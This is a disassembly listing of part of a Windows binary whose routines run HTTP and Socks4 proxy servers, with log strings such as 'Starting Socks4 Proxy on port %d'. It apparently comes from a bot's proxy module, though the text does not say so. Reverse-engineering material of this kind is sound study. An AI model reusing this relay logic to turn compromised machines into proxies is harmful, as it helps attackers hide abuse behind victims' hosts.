		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		nop
		call	near ptr 2830000h


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		call	near ptr 2830000h
		nop
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		nop
		call	near ptr 2830000h
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi
		push	ebx
		call	esi


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		nop
		call	near ptr 2830000h
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
